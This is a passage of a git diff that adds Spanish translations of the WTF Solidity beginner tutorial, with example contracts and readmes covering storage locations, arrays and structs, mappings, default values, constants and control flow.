asignaciones: + +1. Cuando `storage` (una variable de estado del contrato) se asigna al local `storage` (en una función), se creará una referencia, y cambiar el valor de la nueva variable afectará a la original. Ejemplo: +```solidity + uint[] x = [1,2,3]; // variable de estado: arreglo x + + function fStorage() public{ + //Declarar una variable de almacenamiento xStorage, apuntando a x. Modificar xStorage también afectará a x + uint[] storage xStorage = x; + xStorage[0] = 100; + } +``` +**Ejemplo:** +![5-2.png](./img/5-2.png) + +2. Asignar `storage` a `memory` crea copias independientes, y los cambios en uno no afectarán al otro; y viceversa. Ejemplo: +```solidity + uint[] x = [1,2,3]; // variable de estado: arreglo x + + function fMemory() public view{ + //Declara una variable xMemory de Memory, copia x. Modificar xMemory no afectará a x + uint[] memory xMemory = x; + xMemory[0] = 100; + } +``` +**Ejemplo:** +![5-3.png](./img/5-3.png) + +3. Asignar `memory` a `memory` creará una referencia, y cambiar la nueva variable afectará a la variable original. + +4. Al contrario, asignar una variable a `storage` creará copias independientes, y modificar una no afectará a la otra. + +## Alcance de la variable +Hay tres tipos de variables en `Solidity` según su ámbito: variables de estado, variables locales y variables globales. + +### 1. Variables de estado +Las variables de estado son variables cuyos datos se almacenan en cadena y pueden ser accedidas por funciones dentro del contrato, pero su consumo de `gas` es alto. + +Las variables de estado se declaran dentro del contrato y fuera de las funciones: +```solidity +contract Variables { + uint public x = 1; + uint public y; + string public z; +``` + +Se puede cambiar el valor de las variables de estado en una función: + +```solidity + function foo() external{ + // Se puede cambiar el valor de la variable de estado en la función + x = 5; + y = 2; + z = "0xAA"; + } +``` + +### 2. Variable local +Las variables locales son variables que solo son válidas durante la ejecución de la función; son inválidas después de la salida de la función. Los datos de las variables locales se almacenan en memoria, no en cadena, y su consumo de `gas` es bajo. + +Las variables locales se declaran dentro de una función: +```solidity + function bar() external pure returns(uint){ + uint xx = 1; + uint yy = 3; + uint zz = xx + yy; + return(zz); + } +``` + +### 3. Variable global +Las variables globales son variables que funcionan en el ámbito global y son palabras reservadas para `Solidity`. Pueden usarse directamente en funciones sin declararlas: + +```solidity + function global() external view returns(address, uint, bytes memory){ + address sender = msg.sender; + uint blockNum = block.number; + bytes memory data = msg.data; + return(sender, blockNum, data); + } +``` +En el ejemplo anterior, usamos tres variables globales: `msg.sender`, `block.number` y `msg.data`, que representan al remitente del mensaje (llamada actual), altura del bloque actual y datos completos de calldata, respectivamente. + +A continuación, se presentan algunas variables globales comúnmente utilizadas: + +- `blockhash(uint blockNumber)`: (`bytes32`) El hash del bloque dado - solo aplica para los 256 bloques más recientes. +- `block.coinbase` : (`address payable`) La dirección del minero del bloque actual +- `block.gaslimit` : (`uint`) El límite de gas del bloque actual +- `block.number` : (`uint`) Número de bloque actual +- `block.timestamp` : (`uint`) El sello de tiempo del bloque actual, en segundos desde la época unix +- `gasleft()` : (`uint256`) Gas restante +- `msg.data` : (`bytes calldata`) Calldata completa +- `msg.sender` : (`address payable`) Remitente del mensaje (llamador actual) +- `msg.sig` : (`bytes4`) Primeros cuatro bytes del calldata (es decir, identificador de función) +- `msg.value` : (`bytes4`) Número de wei enviados con el mensaje + +**Ejemplo:** +![5-4.png](./img/5-4.png) + +## Resumen +En este capítulo, se introdujo los tipos de referencia, ubicaciones de almacenamiento de datos y ámbitos de variables en `Solidity`. Hay tres tipos de ubicaciones de almacenamiento de datos: `storage`, `memory` y `calldata`. Los costos de gas son diferentes para diferentes ubicaciones de almacenamiento. El ámbito de la variable incluye variables de estado, variables locales y variables globales. + diff --git a/Languages/es/06_ArreglosyEstructuras_es/ArrayAndStruct.sol b/Languages/es/06_ArreglosyEstructuras_es/ArrayAndStruct.sol new file mode 100644 index 000000000..164493a2f --- /dev/null +++ b/Languages/es/06_ArreglosyEstructuras_es/ArrayAndStruct.sol @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract ArrayTypes { + + // Arreglos de longitud fija + uint[8] array1; + bytes1[5] array2; + address[100] array3; + + // Arreglo de longitud variable + uint[] array4; + bytes1[] array5; + address[] array6; + bytes array7; + + // Inicializar un array de longitud variable + uint[] array8 = new uint[](5); + bytes array9 = new bytes(9); + + // Asignar valor a un array de longitud variable + function initArray() external pure returns(uint[] memory){ + uint[] memory x = new uint[](3); + x[0] = 1; + x[1] = 3; + x[2] = 4; + return(x); + } + + function arrayPush() public returns(uint[] memory){ + uint[2] memory a = [uint(1),2]; + array4 = a; + array4.push(3); + return array4; + } +} + +pragma solidity ^0.8.21; +contract StructTypes { + // Struct + struct Student{ + uint256 id; + uint256 score; + } + Student student; // Iniciar una struct de estudiante + // Asignar el valor a una struct + // Método 1: Se crea una referencia storage struct en la función + function initStudent1() external{ + Student storage _student = student; // Asignar una copia de estudiante + _student.id = 11; + _student.score = 100; + } + + // Método 2: Referir directamente al struct de la variable de estado + function initStudent2() external{ + student.id = 1; + student.score = 80; + } + + // Método 3: Constructor struct + function initStudent3() external { + student = Student(3, 90); + } + + // Método 4: clave valor + function initStudent4() external { + student = Student({id: 4, score: 60}); + } +} diff --git a/Languages/es/06_ArreglosyEstructuras_es/img/6-1.png b/Languages/es/06_ArreglosyEstructuras_es/img/6-1.png new file mode 100644 index 000000000..853fa994f Binary files /dev/null and b/Languages/es/06_ArreglosyEstructuras_es/img/6-1.png differ diff --git a/Languages/es/06_ArreglosyEstructuras_es/img/6-2.png b/Languages/es/06_ArreglosyEstructuras_es/img/6-2.png new file mode 100644 index 000000000..ecd5c1369 Binary files /dev/null and b/Languages/es/06_ArreglosyEstructuras_es/img/6-2.png differ diff --git a/Languages/es/06_ArreglosyEstructuras_es/img/6-3.png b/Languages/es/06_ArreglosyEstructuras_es/img/6-3.png new file mode 100644 index 000000000..2b504dac6 Binary files /dev/null and b/Languages/es/06_ArreglosyEstructuras_es/img/6-3.png differ diff --git a/Languages/es/06_ArreglosyEstructuras_es/readme.md b/Languages/es/06_ArreglosyEstructuras_es/readme.md new file mode 100644 index 000000000..8377e33b1 --- /dev/null +++ b/Languages/es/06_ArreglosyEstructuras_es/readme.md @@ -0,0 +1,137 @@ +# Tutorial WTF Solidity: 6. Arreglos y Estructuras + +Recientemente, he estado revisando Solidity y escribiendo tutoriales en "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Sitio web wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Angela Ocando con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@ocandocrypto](https://twitter.com/ocandocrypto) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + + +----- + +En esta lección, se introducirán dos importantes tipos de variables en Solidity: `array` y `struct` + +## Arreglos + +Un `Array` es un tipo de variable comúnmente utilizado en Solidity para almacenar conjuntos de datos (enteros, bytes, direcciones, etc.). + +Hay dos tipos de arreglos: Arreglos de tamaño fijo y arreglos de tamaño dinámico: + +- Arreglos de tamaño fijo: La longitud del arreglo se especifica en el momento de la declaración. Un `array` se declara usando el formato `T[k]` donde `T` es el tipo de variable y `k` es la longitud. + +```solidity + // Arreglos de longitud fija + uint[8] array1; + byte[5] array2; + address[100] array3; +``` + +- Arreglos de tamaño dinámico (dynamic array): La longitud del arreglo no se especifica durante la declaración. Se utiliza el formato `T[]`, donde `T` es el tipo de variable. + +```solidity + // Arreglo de longitud variable + uint[] array4; + byte[] array5; + address[] array6; + bytes array7; +``` + +**Aviso**: `bytes` es un caso especial, es un array dinámico, pero no se necesita añadir `[]` en su declaración. Se puede usar `bytes` o `bytes1[]` para declarar un array de bytes, pero no `byte[]`. Se recomienda usar `bytes` ya que consume menos gas que `bytes1[]`. + +### Reglas para crear arreglos + +En Solidity, hay algunas reglas para crear arreglos: + +- Para un arreglo dinámico que es almacenado en `memory`, se puede crear el arreglo usando el operador `new`, pero se debe asignar la longitud del arreglo, y no puede ser cambiada después. Por ejemplo: + +```solidity + // arreglo dinámico en memoria + uint[] memory array8 = new uint[](5); + bytes memory array9 = new bytes(9); +``` + +- Los arreglos literales son arreglos en forma de una o más expresiones, y no se asignan inmediatamente a variables; como `[uint(1),2,3]` (el tipo de variable del primer elemento necesita ser declarado, de lo contrario se usa el tipo con el espacio de almacenamiento más pequeño por defecto). + +- Al crear un arreglo dinámico, se necesita asignar cada elemento del arreglo. + +```solidity + uint[] memory x = new uint[](3); + x[0] = 1; + x[1] = 3; + x[2] = 4; +``` + +### Funciones y atributos de un arreglo + +- `length`: Los arreglos tienen un atributo `length` que contiene el número de elementos del arreglo, la longitud de un arreglo en `memory` es fija después de su creación. +- `push()`: Los arreglos dinámicos tienen una función `push()` que añade un elemento `0` al final del arreglo. +- `push(x)`: Los arreglos dinámicos tienen una función `push(x)` que puede añadir un elemento `x` al final del arreglo. +- `pop()`: Los arreglos dinámicos tienen una función `pop()` que elimina el último elemento del arreglo. + +**Ejemplo:** + +![6-1.png](./img/6-1.png) + +## Estructuras + +Se pueden definir nuevos tipos de datos usando `struct` en Solidity. Los elementos de un `struct` pueden ser tipos primitivos o tipos de referencia. Y un `struct` puede ser el elemento para `array` o `mapping` + +```solidity + struct Student{ + uint256 id; + uint256 score; + } + + Student student; // Iniciar un struct de estudiante +``` + +Hay 4 maneras de asignar valores a un `struct`: + +```solidity + // Asignar el valor a una struct + // Método 1: Se crea una referencia storage struct en la función + function initStudent1() external{ + Student storage _student = student; // Asigna una copia de student + _student.id = 11; + _student.score = 100; + } +``` + +**Ejemplo:** + +![6-2.png](./img/6-2.png) + +```solidity + // Método 2: Referir directamente al struct de la variable de estado + function initStudent2() external{ + student.id = 1; + student.score = 80; + } +``` + +**Ejemplo:** + +![6-3.png](./img/6-3.png) + +```solidity + // Método 3: Constructor struct + function initStudent3() external { + student = Student(3, 90); + } + + // Método 4: clave valor + function initStudent4() external { + student = Student({id: 4, score: 60}); + } +``` + + +## Resumen + +En esta lección, se introdujo el uso básico de `array` y `struct` en Solidity. En la próxima lección, se presentará la tabla hash en Solidity - `mapping`. diff --git a/Languages/es/07_Mapeo_es/Mapping.sol b/Languages/es/07_Mapeo_es/Mapping.sol new file mode 100644 index 000000000..8ef377faf --- /dev/null +++ b/Languages/es/07_Mapeo_es/Mapping.sol @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.15; +contract Mapping { + mapping(uint => address) public idToAddress; // id es mapeado a la dirección + mapping(address => address) public swapPair; // mapeo de tokens, de dirección a dirección + + + + // Regla 1. _KeyType no puede usar tipos de variables personalizadas como struct. El siguiente ejemplo lanzará un error + //Definir un struct + //struct Student{ + // uint256 id; + // uint256 score; + //} + //mapping(struct => uint) public testVar; + + function writeMap (uint _Key, address _Value) public { + idToAddress[_Key] = _Value; + } +} diff --git a/Languages/es/07_Mapeo_es/img/7-1_es.png b/Languages/es/07_Mapeo_es/img/7-1_es.png new file mode 100644 index 000000000..98cd3a500 Binary files /dev/null and b/Languages/es/07_Mapeo_es/img/7-1_es.png differ diff --git a/Languages/es/07_Mapeo_es/img/7-2_es.png b/Languages/es/07_Mapeo_es/img/7-2_es.png new file mode 100644 index 000000000..dc06c99bd Binary files /dev/null and b/Languages/es/07_Mapeo_es/img/7-2_es.png differ diff --git a/Languages/es/07_Mapeo_es/img/7-3_es.png b/Languages/es/07_Mapeo_es/img/7-3_es.png new file mode 100644 index 000000000..ad26be09c Binary files /dev/null and b/Languages/es/07_Mapeo_es/img/7-3_es.png differ diff --git a/Languages/es/07_Mapeo_es/readme.md b/Languages/es/07_Mapeo_es/readme.md new file mode 100644 index 000000000..89f78b3b5 --- /dev/null +++ b/Languages/es/07_Mapeo_es/readme.md @@ -0,0 +1,85 @@ +# Tutorial WTF Solidity: 7. Mapeo (Mapping) + +Recientemente, he estado revisando Solidity y escribiendo tutoriales en "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Sitio web wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Angela Ocando con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@ocandocrypto](https://twitter.com/ocandocrypto) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + + +----- + +En esta sección, se introducirá la tabla de hashes en Solidity: Tipo `mapping`. + + +## Mapeo (Mapping) + +Con el tipo de variable `mapping`, las personas pueden consultar el `Value` utilizando la `Key` del `mapping`. Por ejemplo, se puede consultar la dirección de la billetera de una persona por su `id`. + +El formato para declarar las variables de tipo `mapping` es `mapping(_KeyType => _ValueType)`, donde `_KeyType` y `_ValueType` son los tipos de variable `Key` y `Value` respectivamente. Por ejemplo: + +```solidity + mapping(uint => address) public idToAddress; // id es mapeado a la dirección + mapping(address => address) public swapPair; // mapeo de tokens, de dirección a dirección +``` + +## Reglas de `mapping` + +- **Regla 1**: El `_KeyType` debe ser seleccionado entre los tipos predeterminados en `solidity` como `uint`, `address`, etc. No se puede usar un `struct` personalizado. Sin embargo, `_ValueType` puede ser de cualquier tipo personalizado. El siguiente ejemplo genera un error por que `_KeyType` usa un struct personalizado: + +```solidity + // definir un struct + struct Student{ + uint256 id; + uint256 score; + } + mapping(Student => uint) public testVar; +``` + +- **Regla 2**: La ubicación de almacenamiento del mapeo debe ser `storage`: puede servir como variable de estado o variable `storage` dentro de la función. Pero no se puede usar en argumentos o resultados de retorno de funciones `public`. + +- **Regla 3**: Si la variable de tipo `mapping` se declara como `public`, Solidity automáticamente creará una función `getter` para que se pueda consultar el `Value` usando la `Key` + +- **Regla 4**: La sintaxis para agregar un par clave-valor a un mapeo es `_Var[Key] = _Value`, donde `_Var` es el nombre de la variable, y `_Key` y `_Value` corresponden al nuevo par clave-valor. Por ejemplo: + +```solidity + function writeMap (uint _Key, address _Value) public { + idToAddress[_Key] = _Value; + } +``` + +## Principios de `mapping` + +- **Principio 1**: El mapeo no almacena ninguna `key` ni información de longitud. + +- **Principio 2**: Mapping usa `keccak256(key)` como desplazamiento para acceder al valor. + +- **Principio 3**: Dado que Ethereum define todo espacio no usado como 0, toda `key` que no se le asigne un `value` tendrá un valor inicial de 0. + + +## Demo en Remix (usa `Mapping.sol` como ejemplo) + +- Desplegar `Mapping.sol` + + ![7-1_en](./img/7-1_es.png) + +- Verificar el valor inicial del map `idToAddress`. + + ![7-2_en](./img/7-2_es.png) + +- Escribir un nuevo par clave-valor + + ![7-3_en](./img/7-3_es.png) + + + +## Resumen + +En esta sección, se introdujo el tipo de variable `mapping` en Solidity. Hasta ahora, se han aprendido los tipos de variables más comunes Solidity. + diff --git a/Languages/es/08_ValorInicial_es/InitialValue.sol b/Languages/es/08_ValorInicial_es/InitialValue.sol new file mode 100644 index 000000000..b77186d6f --- /dev/null +++ b/Languages/es/08_ValorInicial_es/InitialValue.sol @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.15; + +contract InitialValue { + // Tipos de valores + bool public _bool; // false + string public _string; // "" + int public _int; // 0 + uint public _uint; // 0 + address public _address; // 0x0000000000000000000000000000000000000000 + + enum ActionSet { Buy, Hold, Sell} + ActionSet public _enum; // primer elemento 0 + + function fi() internal{} // Función interna en blanco + function fe() external{} // Función externa vacía + + // Tipos de valores de referencia + uint[8] public _staticArray; // Un arreglo estático donde todos los elementos se configuran con su valor por defecto[0,0,0,0,0,0,0,0] + uint[] public _dynamicArray; // `[]` + mapping(uint => address) public _mapping; // Un mapeo donde todos los elementos se configuran con su valor por defecto + // Una estructura donde todos los elementos se configuran con su valor por defecto 0, 0 + struct Student{ + uint256 id; + uint256 score; + } + Student public student; + + // Operador 'delete' + bool public _bool2 = true; + function d() external { + delete _bool2; // delete hará que _bool2 cambie a su valor por defecto (falso) + } +} \ No newline at end of file diff --git a/Languages/es/08_ValorInicial_es/img/8-1_es.png b/Languages/es/08_ValorInicial_es/img/8-1_es.png new file mode 100644 index 000000000..f86acf47b Binary files /dev/null and b/Languages/es/08_ValorInicial_es/img/8-1_es.png differ diff --git a/Languages/es/08_ValorInicial_es/img/8-2_es.png b/Languages/es/08_ValorInicial_es/img/8-2_es.png new file mode 100644 index 000000000..e8bf7b4b0 Binary files /dev/null and b/Languages/es/08_ValorInicial_es/img/8-2_es.png differ diff --git a/Languages/es/08_ValorInicial_es/readme.md b/Languages/es/08_ValorInicial_es/readme.md new file mode 100644 index 000000000..4a04298b4 --- /dev/null +++ b/Languages/es/08_ValorInicial_es/readme.md @@ -0,0 +1,98 @@ +# Tutorial WTF Solidity: 8. Valor inicial de las variables + +Recientemente, he estado revisando Solidity, consolidando detalles y escribiendo tutoriales "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Sebas G con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@scguaquetam](https://twitter.com/scguaquetam) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + + +----- + +## Valores iniciales de las variables + +En Solidity, las variables que son declaradas pero no asignadas tienen valores definidos por defecto. En este tutorial, introduciremos los valores iniciales de los tipos más comunes de variables. + +### Valores predeterminados de las variables + +- `boolean`: `false` +- `string`: `""` +- `int`: `0` +- `uint`: `0` +- `enum`: el valor por defecto es el primer elemento de la enumeración +- `address`: `0x0000000000000000000000000000000000000000` (o conocida cómo `address(0)`) +- `function` + - `internal`: función vacía + - `external`: función vacía + +Se puede usar la función `getter` de una variable `pública` para confirmar los valores iniciales anteriores: + +```solidity + bool public _bool; // false + string public _string; // "" + int public _int; // 0 + uint public _uint; // 0 + address public _address; // 0x0000000000000000000000000000000000000000 + + enum ActionSet {Buy, Hold, Sell} + ActionSet public _enum; // primer elemento 0 + + function fi() internal{} // función interna en blanco + function fe() external{} // función externa en blanco +``` + +### Valores iniciales de tipos de referencia + +- `mapping`: En un `mapping` todos los elementos se establecen en sus valores por defecto dependiendo del tipo de variable de la clave y valor del mismo. Por ejemplo un mapping de UINT tendrá todos sus valores en 0. +- `struct`: En un `struct` todos los elementos se establecen en sus valores por defecto dependiendo del tipo de variable de la clave y valor del mismo. Por ejemplo un struct con dos variables de tipo UINT tendrá todos sus valores en 0. + +- `array` + - arreglo dinámico: `[]` vacío por defecto. + - arreglo estático(de longitud fija): un arreglo estático donde todos los elementos se establecen en sus valores por defecto. + +Se puede usar la función `getter` de una variable `pública` para confirmar los valores iniciales anteriores: + +```solidity + // tipos de referencia + uint[8] public _staticArray; // un arreglo estático donde todos los elementos se establecen en sus valores por defecto [0,0,0,0,0,0,0,0] + uint[] public _dynamicArray; // `[]` + mapping(uint => address) public _mapping; // un mapping donde todos los elementos se establecen con sus valores por defecto + // un struct donde todos los elementos se establecen en sus valores por defecto 0, 0 + struct Student{ + uint256 id; + uint256 score; + } + Student public student; +``` + +### Operador `delete` + +`delete a` cambiará el valor de la variable `a` a su valor inicial. + +```solidity + // operador delete + bool public _bool2 = true; + function d() external { + delete _bool2; // delete hará que _bool2 cambie a su valor por defecto (false) + } +``` + +## Verificar en Remix + +- Desplegar el contrato `InitialValue.sol` y verificar los valores iniciales de los diferentes tipos. + + ![](./img/8-1_es.png) + +- Después de usar el operador `delete`, el valor de las variables se restablece a sus valores iniciales. + + ![](./img/8-2_es.png) + +## Resumen + +En esta sección, introdujimos los valores iniciales de las variables en Solidity. Cuando una variable es declarada pero no asignada, su valor por defecto es el valor inicial, que es equivalente a `0` representado en su tipo. El operador `delete` puede restablecer el valor de la variable a su valor inicial. \ No newline at end of file diff --git a/Languages/es/09_Constante_es/Constant.sol b/Languages/es/09_Constante_es/Constant.sol new file mode 100644 index 000000000..3d0745f49 --- /dev/null +++ b/Languages/es/09_Constante_es/Constant.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract Constant { + // Una variable de tipo constante debe ser inicializada cuando es declarada, ya que después no se puede modificar + uint256 public constant CONSTANT_NUM = 10; + string public constant CONSTANT_STRING = "0xAA"; + bytes public constant CONSTANT_BYTES = "WTF"; + address public constant CONSTANT_ADDRESS = 0x0000000000000000000000000000000000000000; + + // Las variables inmutables pueden ser inicializadas en el constructor y no se pueden modificar después + uint256 public immutable IMMUTABLE_NUM = 9999999999; + address public immutable IMMUTABLE_ADDRESS; + uint256 public immutable IMMUTABLE_BLOCK; + uint256 public immutable IMMUTABLE_TEST; + + // Las variables inmutables son inicializadas en el constructor, por lo que se pueden usar en el resto del contrato + constructor(){ + IMMUTABLE_ADDRESS = address(this); + IMMUTABLE_BLOCK = block.number; + IMMUTABLE_TEST = test(); + } + + function test() public pure returns(uint256){ + uint256 what = 9; + return(what); + } +} diff --git a/Languages/es/09_Constante_es/img/9-1.png b/Languages/es/09_Constante_es/img/9-1.png new file mode 100644 index 000000000..1541cf4a9 Binary files /dev/null and b/Languages/es/09_Constante_es/img/9-1.png differ diff --git a/Languages/es/09_Constante_es/img/9-2.png b/Languages/es/09_Constante_es/img/9-2.png new file mode 100644 index 000000000..ca29d66ea Binary files /dev/null and b/Languages/es/09_Constante_es/img/9-2.png differ diff --git a/Languages/es/09_Constante_es/img/9-3.png b/Languages/es/09_Constante_es/img/9-3.png new file mode 100644 index 000000000..79263df31 Binary files /dev/null and b/Languages/es/09_Constante_es/img/9-3.png differ diff --git a/Languages/es/09_Constante_es/readme.md b/Languages/es/09_Constante_es/readme.md new file mode 100644 index 000000000..5f24be137 --- /dev/null +++ b/Languages/es/09_Constante_es/readme.md @@ -0,0 +1,80 @@ +# Tutorial WTF Solidity: 9. Constante e Inmutable + +Recientemente, he estado revisando Solidity, consolidando detalles y escribiendo tutoriales "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Sebas G con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@scguaquetam](https://twitter.com/scguaquetam) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + + +----- + +En esta sección, se introducirán dos palabras claves para restringir modificaciones a variables de estado en Solidity: `constant` e `immutable`. Si una variable de estado se declara con `constant` o `immutable`, su valor no se puede modificar después de la compilación del contrato. + +Las variables de tipo de valor pueden declararse como `constant` o `immutable`; `string` y `bytes` pueden declararse como `constant`, pero no como `immutable`. + +## Constante e Inmutable + +### Constante + +Las variables de tipo `constant` deben inicializarse durante la declaración y no pueden cambiarse después. Cualquier intento de modificación resultará en un error de compilación. + +``` solidity + // La variable constante debe inicializarse cuando se declara y no puede cambiarse después de su inicialización + uint256 constant CONSTANT_NUM = 10; + string constant CONSTANT_STRING = "0xAA"; + bytes constant CONSTANT_BYTES = "WTF"; + address constant CONSTANT_ADDRESS = 0x0000000000000000000000000000000000000000; +``` + +### Inmutable + +Las variables de tipo `immutable` pueden inicializarse durante la declaración o en el constructor, esto las hace más flexibles. Una vez inicializadas, su valor no se puede cambiar. + +``` solidity + //Las variables inmutables pueden inicializarse en el constructor y no se pueden modificar después. + uint256 public immutable IMMUTABLE_NUM = 9999999999; + address public immutable IMMUTABLE_ADDRESS; + uint256 public immutable IMMUTABLE_BLOCK; + uint256 public immutable IMMUTABLE_TEST; +``` + +Se pueden inicializar las variables de tipo `immutable` usando una variable global como `address(this)`, `block`.`number`, o una función personalizada. En el siguiente ejemplo, se usa la función `test()` para inicializar la variable `IMMUTABLE_TEST` con un valor de `9`: + +``` solidity + // Las variables inmutables se inicializan en el constructor, para que puedan ser usadas + IMMUTABLE_ADDRESS = address(this); + IMMUTABLE_BLOCK = block.number; + IMMUTABLE_TEST = test(); + } + + function test() public pure returns(uint256){ + uint256 what = 9; + return(what); + } +``` + + +## Demo en Remix + +1. Después de que se despliegue el contrato, se pueden obtener los valores de las variables `constant` e `immutable` a través de la función `getter`. + + ![9-1.png](./img/9-1.png) + +2. Después de que la variable `constant` se inicializa, cualquier intento de cambiar su valor resultará en un mensaje como en el ejemplo, el compilador arrojará: `TypeError: Cannot assign to a constant variable.` (TypeError: No se puede asignar a una variable constante.) + + ![9-2.png](./img/9-2.png) + +3. Después de que la variable `immutable` se inicializa, cualquier intento de cambiar su valor resultará en un mensaje como en el ejemplo, el compilador arrojará: `TypeError: Immutable state variable already initialized.` (TypeError: Variable de estado inmutable ya inicializada.) + + ![9-3.png](./img/9-3.png) + +## Resumen + +En esta sección, se introdujeron dos palabras clave para restringir modificaciones a variables de estado en Solidity: `constant` e `immutable`. Estas mantienen restringidas las variables que no deben cambiarse. Ayudan a ahorrar gas al tiempo que mejora la seguridad del contrato. \ No newline at end of file diff --git a/Languages/es/10_OrdenamientoInsercion_es/InsertionSort.sol b/Languages/es/10_OrdenamientoInsercion_es/InsertionSort.sol new file mode 100644 index 000000000..6e7fbebdc --- /dev/null +++ b/Languages/es/10_OrdenamientoInsercion_es/InsertionSort.sol @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract InsertionSort { + // if else + function ifElseTest(uint256 _number) public pure returns(bool){ + if(_number == 0){ + return(true); + }else{ + return(false); + } + } + + // bucle for + function forLoopTest() public pure returns(uint256){ + uint sum = 0; + for(uint i = 0; i < 10; i++){ + sum += i; + } + return(sum); + } + + // while + function whileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + while(i < 10){ + sum += i; + i++; + } + return(sum); + } + + // do-while + function doWhileTest() public pure returns(uint256){ + uint sum = 0; + uint i = 0; + do{ + sum += i; + i++; + }while(i < 10); + return(sum); + } + + // Operador Ternario/Condicional + function ternaryTest(uint256 x, uint256 y) public pure returns(uint256){ + // devuelve el máximo entre x e y + return x >= y ? x: y; + } + + + // Ordenamiento por Inserción (Versión incorrecta) + function insertionSortWrong(uint[] memory a) public pure returns(uint[] memory) { + // nota que uint no puede tomar valor negativo + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i-1; + while( (j >= 0) && (temp < a[j])){ + a[j+1] = a[j]; + j--; + } + a[j+1] = temp; + } + return(a); + } + + // Ordenamiento por Inserción (Versión Correcta) + function insertionSort(uint[] memory a) public pure returns(uint[] memory) { + // nota que uint no puede tomar valor negativo + for (uint i = 1;i < a.length;i++){ + uint temp = a[i]; + uint j=i; + while( (j >= 1) && (temp < a[j-1])){ + a[j] = a[j-1]; + j--; + } + a[j] = temp; + } + return(a); + } +} diff --git a/Languages/es/10_OrdenamientoInsercion_es/img/10-1.jpg b/Languages/es/10_OrdenamientoInsercion_es/img/10-1.jpg new file mode 100644 index 000000000..dbad48589 Binary files /dev/null and b/Languages/es/10_OrdenamientoInsercion_es/img/10-1.jpg differ diff --git a/Languages/es/10_OrdenamientoInsercion_es/img/S-i6rwCMeXoi8eNJ0fRdB.png b/Languages/es/10_OrdenamientoInsercion_es/img/S-i6rwCMeXoi8eNJ0fRdB.png new file mode 100644 index 000000000..af73b8c7c Binary files /dev/null and b/Languages/es/10_OrdenamientoInsercion_es/img/S-i6rwCMeXoi8eNJ0fRdB.png differ diff --git a/Languages/es/10_OrdenamientoInsercion_es/readme.md b/Languages/es/10_OrdenamientoInsercion_es/readme.md new file mode 100644 index 000000000..d56305210 --- /dev/null +++ b/Languages/es/10_OrdenamientoInsercion_es/readme.md @@ -0,0 +1,180 @@ +# Tutorial WTF Solidity: 10. Flujo de Control + +Recientemente, he estado revisando Solidity, consolidando detalles y escribiendo tutoriales "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Sebas G con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@scguaquetam](https://twitter.com/scguaquetam) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + + +----- + +En esta sección, se introducirá el flujo de control en Solidity y se escribirá un ordenamiento por inserción `(InsertionSort)`, un programa que parece simple pero es propenso a errores. + +## Flujo de Control + +El flujo de control en Solidity es similar al de otros lenguajes, e incluye principalmente los siguientes componentes: + +1. `if-else` + +```solidity +function 